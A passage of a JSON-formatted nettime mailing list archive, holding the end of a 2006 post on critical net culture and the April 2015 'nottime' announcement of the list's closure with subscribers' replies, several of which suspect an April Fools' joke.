nearly as much air-time to the substance of \ndiscussions that took place, most of which were less packaged and \nmore performative and dialogic than could be easily forwarded to the \nlist in written text as an essay.  this too was a rewarding aspect of \nthe gathering that directly points to an inherent limitation of lists \nand the necessity for more real-space encounters where written \ncommunication isn't the only modus operandi.\n\ntalking about sustainability, many of the presenters proposed or \nillustrated diverse models for sustaining critical practice through \nlocal and tactical economies (e.g. ilesansfil.org and koumbit.org), \ncollaboration across disciplinary and geographic boundaries (e.g. \nckut.ca and memefest.org), and practice/action-oriented organizing \n(e.g. act-mtl, viral knitting collective and Magnetic Identity \nLiberation Front).  to me, these pointed to a qualitative move away \nfrom imagining the internet as a permanent address - prime \nintellectual real estate of the 80s and 90s - and toward seeing it as \na tool of communication and organization - without as much utopian \novertures that also were the dominant discourse of the previous \nmoments.\n\noutside the presentations, one of the most interesting conversations \ni had (that went on over the course of two days and a few inevitable \nand chance encounters) was with roberta and alessandra about \nprecarity movement and their work (\"action\") that they are planning \nfor toronto.  (see Alessandra Renzi, 11 Jun 2006, Subject: <nettime> \nFwd: [RK] No struggle against the void. Report from Barcelona.)  it's \ninteresting to observe that vocal nettimers have paid so little \nattention, at least on the list, to the \"new, immanently flexible yet \nradical social subject - the precariat\" (Kernow Craig, 6 Oct 2004, \nSubject: <nettime> Precarity and n/european Identity) since it was \nbrought up on the list (19 posts in total since 2004, most of them \none-offs), thus clearly exhibiting an institutional reticence (for \nexample, see Keith Hart, 19 May 2006, Subject: Re: <nettime> Mona \nCholet/ le Monde Diplolmatique: France's precarious graduate) to \nrespond meaningfully to calls coming from a \"younger\" generation of \nintellectuals and critical practitioners whose ambitions are not \nentirely defined by their academic orientation and status but are \nneither anti-intellectual nor anti-academic (is anybody else sick of \nhow simplistically these charges have been deployed and implied \nrecently?)\n\ni agree with david garcia that sustainability is a pressing issue, \nbut i'm not entirely sure about the nature of whatever it is we are \nsustaining.  i repeat myself:  there has been too much emphasis on \npersonal(ized) histories and dynamics (mostly issued from a tiny, \ntiny minority of nettime subscribers) and not enough on the substance \nof what we might call critical (net) culture.  at the very least, CPR \n(and the follow-up list exchanges) opened a fissure in seemingly \nmonolithic nettime culture and exposed some of the underlying \nconflicts.  this is a productive moment.  it'll be interesting to see \nhow it gets used.\n\nbe well.\n\ngita\n-- \n\n-> -> -> -> -> -> -> -> -> -> -> -> -> -> -> ->\n\nIt is not at all our job to renovate ideological\ninstitutions on the basis of the existing social order\nby means of innovations. Instead our innovations\nmust force them to surrender that basis.\nSo: For innovations, against renovation!\n[Bertolt Brecht, 1932]\n\n<- <- <- <- <- <- <- <- <- <- <- <- <- <- <- <-\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Mon, 12 Jun 2006 11:28:33 -0400",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "E1FppVv&#45;0002Jk&#45;V1 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0606/msg00084.html",
                "list": "nettime_l",
                "author_name": "Gita Hashemi",
                "subject": "mini CPR, Was Re: <nettime> nettime as idea"
            },
            {
                "id": "00001",
                "content": "Dear Nettimers, present and past --\n\nThe first nettime message was sent on 31 May 1995,[1] almost twenty\nyears ago. A lot has happened since then, and we're proud of how well\nthis list, and the larger nettime 'neighborhood,' has traced many of\nthese epochal changes. The list's alumni/ae is a who's who of critical\nculture across an incredible range of fields. They -- really, *you*\n-- have helped to redefine activism, shape national and international\nlegal and economic reforms, lead international cultural festivals and\nsome of the world's most famous musems, produce astonishing works of\nart, write fiction and nonfiction that's won awards and redefined\nentire disciplines, and build crucial free and open-source software,\nto name just a few things. And those are just the 'heroic' stories.\nThere are many more obscure ones that, if anything, are even more\nimpressive, as even a quick glance at nettime's Wikipedia entry will\nshow.[2] A few nettimers have passed away, and we miss them dearly,\nstill. Moreover, most like-minded projects of a similar age have\neither vanished or, alternatively, have succeeded by forsaking their\nalternative status for the discursive bonds of institutional security.\nNettime stands alone as a deliberately, even radically independent\nproject. Its migration over the years -- in-berlin.de, desk.nl,\nmaterial.net, thing.net, waag.nl, and now kein.org and bitnik.org --\ntells just one part of that story.\n\n     [1] http://www.nettime.org/Lists-Archives/nettime-l-9810/msg00048.html\n     [2] https://en.wikipedia.org/wiki/Nettime\n\nBut if times have changed, Nettime has not. At a time when an email\naddress as such is becoming a generational marker (for many younger\npeople it's little more than a tool of the man), the very idea of a\nmailing list is itself an anachronism. It's slow -- sometimes slower\nthan a mailed letter would be, at this point. It takes time to read\nand write. And there's no images, no video, no memes, no numbers,\nstats or ranks, no friends or followers -- in short, there's not much\nto like about it. 'Tactical' media has gone viral -- it's mainly\nabsorbed in its own anthologies -- while 'viral' media have become a\ncliche for marketers and other assorted bottom-feeders. Nettime is\nstill devoted to criticism of the net, in a way. But how could that\nmatter when it's debatable whether 'the net' even exists anymore?\nHasn't everyone else moved on to the post-digital? 'Posttime,' anyone?\n\nIn this and many other ways, nettime has been 'graying.' It's wedded\nto a particular Euro-American moment, the so-called summer of the\nInternet, which has since turned to winter. Nettime's once-radical\nembrace of the ex-East -- or, if you like, of the ex-West -- barely\nextends to Hungary now, and has nothing to say to the decisive\nconflicts around Russia's borders, obviously (but not only) in\nUkraine. Its early tacit prohibition on ritualizeddebates about\nIsrael and Palestine has grown into a complete failure to address the\nprofoundly important dynamics across parts of the world conventionally\n-- and reductively -- called 'Muslim' or 'Arab.' These areas are too\noften consigned to the 'timelessness' of conflict, but there's every\nreason to believe that their liberatory struggles could ultimately\ndefine the future of the 'WEIRD' nations. China? Barely a peep about\nit. Africa? Nettime is nowheresville. The seas, the skies, the\ncirculatory flows? Nada. And how about nongeographical 'areas' where\nthe most moving cultural changes are happening -- in the flowerings\nof new forms of subjectivity around the world and the new forms of\nsovereignty they're giving rise to. Silence. But, really, who cares\nwhat a bunch of straight white cis guys -- which is 95% of the list's\ntraffic -- think about those things? Really.\n\nWe briefly hoped that we might begin to address these questions and\nmore with a twentieth-anniverasary conference in Bucharest. Not a\n'revival tour' of nettime's ageing heroes but, instead, some broader\nkind of gathering around newer, open questions. Unfortunately, that\ndidn't pan out. Nettime is not mobile and there is no app for that.\nAfter considering these and other options, and trying to imagine how\nwe could 'upgrade' nettime's creaky infrastructure so that it'd at\nleast have a chance, we've reluctantly come to the conclusion that it\nwould be better to make a graceful exit. So we've decided to fold up\nshop on 30 May, the day before the list would turn twenty. Nettime\nhas a troubled history when it comes to unsubscribing people --\nplus, since we're stuck in 1995 and *none* of this this is automated\n-- so we're asking that each of you to pitch in by unsubscribing\nyourself before that date. You can find the link to do so here:\n<http://nettime.org/info.html>.\n\nPersonally, we -- Ted Byfield and Felix Stalder -- would like to say\nthat it's been a pleasure and an honor to moderate the list for the\nlast seventeen-odd years. It's been a part of our lives, and we'll\nmiss it very much.\n\n-- the mod squad\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                "to": "Nettime <nettime {AT} kein.org>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00001.html",
                "list": "nettime_l",
                "author_name": "nettime mod squad",
                "subject": "<nettime> nottime: the end of nettim",
                "from": "nettime mod squad <nettime {AT} kein.org>",
                "follow-up": [
                    {
                        "from": "nettime mod squad <nettime {AT} kein.org>",
                        "content": "Dear Nettimers, present and past --\n\nThe first nettime message was sent on 31 May 1995,[1] almost twenty\nyears ago. A lot has happened since then, and we're proud of how well\nthis list, and the larger nettime 'neighborhood,' has traced many of\nthese epochal changes. The list's alumni/ae is a who's who of critical\nculture across an incredible range of fields. They -- really, *you*\n-- have helped to redefine activism, shape national and international\nlegal and economic reforms, lead international cultural festivals and\nsome of the world's most famous musems, produce astonishing works of\nart, write fiction and nonfiction that's won awards and redefined\nentire disciplines, and build crucial free and open-source software,\nto name just a few things. And those are just the 'heroic' stories.\nThere are many more obscure ones that, if anything, are even more\nimpressive, as even a quick glance at nettime's Wikipedia entry will\nshow.[2] A few nettimers have passed away, and we miss them dearly,\nstill. Moreover, most like-minded projects of a similar age have\neither vanished or, alternatively, have succeeded by forsaking their\nalternative status for the discursive bonds of institutional security.\nNettime stands alone as a deliberately, even radically independent\nproject. Its migration over the years -- in-berlin.de, desk.nl,\nmaterial.net, thing.net, waag.nl, and now kein.org and bitnik.org --\ntells just one part of that story.\n\n     [1] http://www.nettime.org/Lists-Archives/nettime-l-9810/msg00048.html\n     [2] https://en.wikipedia.org/wiki/Nettime\n\nBut if times have changed, Nettime has not. At a time when an email\naddress as such is becoming a generational marker (for many younger\npeople it's little more than a tool of the man), the very idea of a\nmailing list is itself an anachronism. It's slow -- sometimes slower\nthan a mailed letter would be, at this point. It takes time to read\nand write. And there's no images, no video, no memes, no numbers,\nstats or ranks, no friends or followers -- in short, there's not much\nto like about it. 'Tactical' media has gone viral -- it's mainly\nabsorbed in its own anthologies -- while 'viral' media have become a\ncliche for marketers and other assorted bottom-feeders. Nettime is\nstill devoted to criticism of the net, in a way. But how could that\nmatter when it's debatable whether 'the net' even exists anymore?\nHasn't everyone else moved on to the post-digital? 'Posttime,' anyone?\n\nIn this and many other ways, nettime has been 'graying.' It's wedded\nto a particular Euro-American moment, the so-called summer of the\nInternet, which has since turned to winter. Nettime's once-radical\nembrace of the ex-East -- or, if you like, of the ex-West -- barely\nextends to Hungary now, and has nothing to say to the decisive\nconflicts around Russia's borders, obviously (but not only) in\nUkraine. Its early tacit prohibition on ritualizeddebates about\nIsrael and Palestine has grown into a complete failure to address the\nprofoundly important dynamics across parts of the world conventionally\n-- and reductively -- called 'Muslim' or 'Arab.' These areas are too\noften consigned to the 'timelessness' of conflict, but there's every\nreason to believe that their liberatory struggles could ultimately\ndefine the future of the 'WEIRD' nations. China? Barely a peep about\nit. Africa? Nettime is nowheresville. The seas, the skies, the\ncirculatory flows? Nada. And how about nongeographical 'areas' where\nthe most moving cultural changes are happening -- in the flowerings\nof new forms of subjectivity around the world and the new forms of\nsovereignty they're giving rise to. Silence. But, really, who cares\nwhat a bunch of straight white cis guys -- which is 95% of the list's\ntraffic -- think about those things? Really.\n\nWe briefly hoped that we might begin to address these questions and\nmore with a twentieth-anniverasary conference in Bucharest. Not a\n'revival tour' of nettime's ageing heroes but, instead, some broader\nkind of gathering around newer, open questions. Unfortunately, that\ndidn't pan out. Nettime is not mobile and there is no app for that.\nAfter considering these and other options, and trying to imagine how\nwe could 'upgrade' nettime's creaky infrastructure so that it'd at\nleast have a chance, we've reluctantly come to the conclusion that it\nwould be better to make a graceful exit. So we've decided to fold up\nshop on 30 May, the day before the list would turn twenty. Nettime\nhas a troubled history when it comes to unsubscribing people --\nplus, since we're stuck in 1995 and *none* of this this is automated\n-- so we're asking that each of you to pitch in by unsubscribing\nyourself before that date. You can find the link to do so here:\n<http://nettime.org/info.html>.\n\nPersonally, we -- Ted Byfield and Felix Stalder -- would like to say\nthat it's been a pleasure and an honor to moderate the list for the\nlast seventeen-odd years. It's been a part of our lives, and we'll\nmiss it very much.\n\n-- the mod squad\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00002",
                        "date": "Wed, 1 Apr 2015 07:35:14 +0200",
                        "to": "Nettime <nettime {AT} kein.org>",
                        "message-id": "20150401053514.GA58610 {AT} mx.kein.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00002.html",
                        "content-type": "text/plai",
                        "author_name": "nettime mod squad",
                        "subject": "<nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "chris christiaansz ungerer <gris {AT} desk.nl>",
                        "content": "\nL.S.\n\n",
                        "id": "00004",
                        "date": "Wed, 1 Apr 2015 10:16:42 +0200 (CEST)",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "cc056a33951dc60002191e95cfda59aa {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00004.html",
                        "content-type": "text/plai",
                        "author_name": "chris christiaansz ungerer",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Armin Medosch <armin {AT} easynet.co.uk>",
                        "content": "Hi Mod squad, you are not serious, are you? Lets get 50 together!!!\n\nWhile the deficiences of nettime that you describe are real, it is still\nthe only place where I can reach out to a nearly global crowd of\ncritical thinkers, and it still has an impact which I can verfiy by the\nstats of my website and by direct qualitative feedback. when I send\nsomething to certain other lists it gets drowned out by announcements or\nmindless techno-babble. and while the identity of those who frequently\npost here confirms to stereotype, mostly male white and over 40, or much\nolder ;-) I would assume that the demographic composition of subscribers\nis much more diverse than that. and mailinglists have been an\nanachronism since the www, so that's no argument at all\n\nplease reconsider\nbest regards\nArmin\n\n\nOn 2015-04-01 07:35, nettime mod squad wrote:\n\n> Dear Nettimers, present and past --\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00005",
                        "date": "Wed, 01 Apr 2015 10:34:36 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "6b0e8de45cf5151a91f4cff13d8c8649 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00005.html",
                        "content-type": "text/plai",
                        "author_name": "Armin Medosch",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "\"Michael H. Goldhaber\" <michael {AT} goldhaber.org>",
                        "content": "April fools! Right?\n\n> On Mar 31, 2015, at 10:35 PM, nettime mod squad <nettime {AT} kein.org> wrote:\n> \n> Dear Nettimers, present and past --\n <...>\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00006",
                        "date": "Wed, 1 Apr 2015 01:39:50 -0700",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "174e03ea6b1d8a42e1872ec98c37f30d {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00006.html",
                        "content-type": "text/plai",
                        "author_name": "Michael H. Goldhaber",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Keith Hart <keith {AT} thememorybank.co.uk>",
                        "content": "   Felix and Ted,\n   I can understand that you might be fed up after all those years. Thanks\n   for your heroic labour. If no-one else wants to take it on, so be it.\n   But there is something intellectually dishonest about the historical,\n   social, demographic and geographical reasons you give for winding it\n   up. It boils down to saying that the mission identified in the 90s\n   doen't work any more. I know that Geert is desperate to find a new\n   mission in the age of anti-Facebook. But nettime doesn't need a\n   purpose. It is itself.\n   No doubt we each have our own use for it. I find a uniquely eclectic\n   assortment of links that members pass on. I get to read Brian, Patrice,\n   Michael Gurstein, even Felix and Ted occasionally. I have been very ill\n   and I'm making a comeback now. The network provides an ideal audience\n   for some of the things I want to say. It doesn't matter that it's\n   archaic. So is email, they say. The repertoire evolves, but retains the\n   old forms with the new. Nettime absorbs less than 2% of my onlin, but\n   it nourishes me and I have nourished it.\n   It must be onerous to be a 90s internet activist who feels he is past\n   his sell-by date. It is true of course. Avant-gardism of that kind has\n   had its day. I don't feel alienated by what succeeded it, since I was\n   never a cutting edge techie in the first instance, just a fellow\n   traveller. Yet the network has character, built out of the layers of\n   its accretion. It is brutal to cut nettime off in this way. Of course,\n   there may be no takers to succeed you. In which case RIP. But having\n   held on for so long, is it a case of apres moi le deluge?\n   Keith\n\n   On Wed, Apr 1, 2015 at 7:35 AM, nettime mod squad <[1]nettime {AT} kein.org>\n   wrote:\n\n        Dear Nettimers, present and past --\n      <...>\n\n   --\n   Prof. Keith Hart\n   [15]www.thememorybank.co.uk\n   135 rue du Faubourg Poissonniere\n   75009 Paris, France\n   Cell: +33684797365\n\nReferences\n\n   1. mailto:nettime {AT} kein.org\n   2. http://in-berlin.de/\n   3. http://desk.nl/\n   4. http://material.net/\n   5. http://thing.net/\n   6. http://waag.nl/\n   7. http://kein.org/\n   8. http://bitnik.org/\n   9. http://www.nettime.org/Lists-Archives/nettime-l-9810/msg00048.html\n  10. https://en.wikipedia.org/wiki/Nettime\n  11. http://nettime.org/info.html\n  12. http://mx.kein.org/mailman/listinfo/nettime-l\n  13. http://www.nettime.org/\n  14. mailto:nettime {AT} kein.org\n  15. http://www.thememorybank.co.uk/\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00007",
                        "date": "Wed, 1 Apr 2015 11:45:39 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "5d03348aff4f3de0fd02549c6bc29841 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00007.html",
                        "content-type": "text/plai",
                        "author_name": "Keith Hart",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "John Young <jya {AT} pipeline.com>",
                        "content": "Is \"nottime\" a nettime duo-suicide or duo-murder or duo-murder-suicide?\n\nDuo shaheedistic sado-masochism?\n\nManifold Jim Jones-assisted shaheedistic \nsado-masochistic murder-suidice-genocide?\n\nA Riefenstahl Berlinische Wagnerian spectacular plumage to Uber-Germanic\ndepression expressionism Ace Luftwaffism of de Saint-Exup?ry Lindbergh\nEarhart Guthmiller?\n\nBi-Byfield-Stadler April Fool G?tterd?mmerung.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00008",
                        "date": "Wed, 01 Apr 2015 06:13:15 -0400",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "6f33bde02f38213c75ae39b6307e117b {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00008.html",
                        "content-type": "text/plai",
                        "author_name": "John Young",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Keith Sanborn <mrzero {AT} panix.com>",
                        "content": "April fooooolz!\n\n> On Apr 1, 2015, at 1:35 AM, nettime mod squad <nettime {AT} kein.org> wrote:\n> \n> Dear Nettimers, present and past --\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00009",
                        "date": "Wed, 1 Apr 2015 11:12:13 -0400",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "586b81fe9b5691e57ef902672d95dad0 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00009.html",
                        "content-type": "text/plai",
                        "author_name": "Keith Sanborn",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Eric Miller <eric {AT} squishymedia.com>",
                        "content": "Thanks to Ted and Felix for all their effort over the years managing Nettime.  \n\nAnd thanks to this community.  I first subscribed in the late 90s during\nthe height of the dot com boom here on the west coast.  Nettime was a\nwelcome counterpoint to the Wired magazine ethos of the era.  This list\nis also how I learned about the work of David Garcia, which intrigued\nme, so I went to the Netherlands to study under him at HKU.  And now,\nover 15 years later, I still find that the writing here provides insight\nI don???t get elsewhere in my firehose media diet.\n\nThank you, all.\n\nEric\n\nERIC MILLER\nPRINCIPAL  ???  SQUISHYMEDIA\nO: 503 488 5951  M: 503 780 1847\n\n> On Mar 31, 2015, at 10:35 PM, nettime mod squad <nettime {AT} kein.org> wrote:\n\n> So we've decided to fold up shop on 30 May, the day before the list would turn twenty. \n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00010",
                        "date": "Wed, 1 Apr 2015 09:24:23 -0700",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "0c3101f1cae6f7728d3b6f0791f46dba {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00010.html",
                        "content-type": "text/plai",
                        "author_name": "Eric Miller",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Alex Foti <alex.foti {AT} gmail.com>",
                        "content": "\nthat's so sad. will the archives still be visible at the same url?\n\ni'll miss it dearly\n\nlx\n\n\nOn Wed, Apr 1, 2015 at 7:35 AM, nettime mod squad <nettime {AT} kein.org> wrote:\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00011",
                        "date": "Wed, 1 Apr 2015 20:01:13 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "669ef08efa25c6c632549f1d796e1050 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00011.html",
                        "content-type": "text/plai",
                        "author_name": "Alex Foti",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Douglass Carmichael <doug {AT} dougcarmichael.com>",
                        "content": "i try to think seriously about the issues and have lurked here for years. it has been very valuable and the mix of voices really good. I hope it continues.\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00012",
                        "date": "Wed, 1 Apr 2015 20:45:48 -0700",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "6bf1d36c5c4f04c50b28563bd5b3e9e8 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00012.html",
                        "content-type": "text/plai",
                        "author_name": "Douglass Carmichael",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Graham St John <g.stjohn {AT} warpmail.net>",
                        "content": "\nYes, ..... finally and what a relief ............ FACETIME\n\nLIKE\n\nOn 1/04/2015 4:35 pm, nettime mod squad wrote:\n> Personally, we -- Ted Byfield and Felix Stalder -- would like to say\n> that it's been a pleasure and an honor to moderate the list for the\n> last seventeen-odd years. It's been a part of our lives, and we'll\n> miss it very much.\n>\n> -- the mod squad\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00013",
                        "date": "Thu, 02 Apr 2015 15:23:21 +1100",
                        "to": "nettime mod squad <nettime {AT} kein.org>",
                        "message-id": "aec42e3b7bb6c4d29324dbb47ab82d3b {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00013.html",
                        "content-type": "text/plai",
                        "author_name": "Graham St John",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Claire Pentecost <cpente {AT} saic.edu>",
                        "id": "00014",
                        "content": "Whether or not the announcement of nettime's final curtain has\nme playing the fool, I am happy to be provoked into asserting my\nenormous appreciation of this list and its dedicated moderating\nsquad. Although I don't post, I do often read (or scan) and am\ngrateful for the intellectual company of the regular voices here.\nMost of the communications developments listed in today's obituary\nthat put nettime in the rearview mirror are in no way a satisfying\nsubstitute for this unique forum. I've subscribed since ... 1997(?)\nso observed many changes in the dynamic of the list; its trajectory\ndescribes in heterogeneous if not totally incommensurate detail the\ntransformations of (mostly white and male alas) techno- subjectivity\nin our wildly interesting lifetimes. Of course it's only one small\nbit of the torrent, yes, mostly white and male, but also constituted\nof mostly good faith attempts to grapple with two decades of social\nand terrestrial convulsion. So, the frenetic world of electronic\ncommunications would/will be a little lonelier for subscribers like\nme (indulging in a little sentimentality here). Thank you to Ted and\nFelix and the long line of contributors.\n\nI suspect the prank is that, given the timing, we will think this is a\njoke.\n\nmany wishes,\nclaire pentecost\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "date": "Thu, 2 Apr 2015 00:26:36 -0500",
                        "message-id": "43e500c6ec4e5e1f7f7a4416624a95d7 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00014.html",
                        "content-type": "text/plai",
                        "author_name": "Claire Pentecost",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Ana Viseu <ana {AT} anaviseu.org>",
                        "content": "Hello Ted (long time no see!), Hello Felix,\n\nI'd like to add my voice to this discussion. I have subscribed to\nNettime (on and off) for many years and I still enjoy its alternative\nedge. Yes, you are right, many topics are not covered, and many\naudiences are invisible (although I do count as a female subscriber),\nbut was it ever different? I don't recall Nettime ever being truly\ngeneralist or diverse in its postings. I do remember a time when\nNettime was more lively, but to be honest, the low traffic is one\nof the things I enjoy about it (and one of the reasons I actually\nread what comes through it). In some ways you seem to be saying that\nNettime no longer fulfills the expectations you set for it, which\nis not only valid but also perfectly reasonable and fair especially\nsince you are its main, longtime caregivers. If that is the case then,\ncongratulations on your wonderful work and thanks for the things\nyou've helped us accomplish.\n\n\nBest. Ana\n\n\n\n-----------||||------------\nAna Viseu, Ph.D.\nMarie Curie Fellow\nSenior Researcher\nISCTE-IUL\nwww.anaviseu.org\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00015",
                        "date": "Thu, 2 Apr 2015 10:24:06 +0100",
                        "to": "nettime mod squad <nettime {AT} kein.org>",
                        "message-id": "e81d47f35f461c85f2c55722f54ed4c3 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00015.html",
                        "content-type": "text/plai",
                        "author_name": "Ana Viseu",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Alex Foti <alex.foti {AT} gmail.com>",
                        "content": "shit, and i thought i was astute because i had fooled my 13-year old\ndaughter into believing they had captured somebody from isis in the\nneighborhood.. you got me really sad in fact. is it true or not? fuck\ni agree with the guy (yes always guys..) who said that it's the only\nplace you get cool, orginal shit on whatever the whole time. i mean\nlet's not commit suicide, the world is already hard as it is to brave\nit without nettime!\n\napril's fool born in april\n\nlx\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00016",
                        "date": "Thu, 2 Apr 2015 12:05:24 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "7fcf8705a7c6a642f5b1a9233f0c2f47 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00016.html",
                        "content-type": "text/plai",
                        "author_name": "Alex Foti",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Sean Cubitt <s.cubitt {AT} gold.ac.uk>",
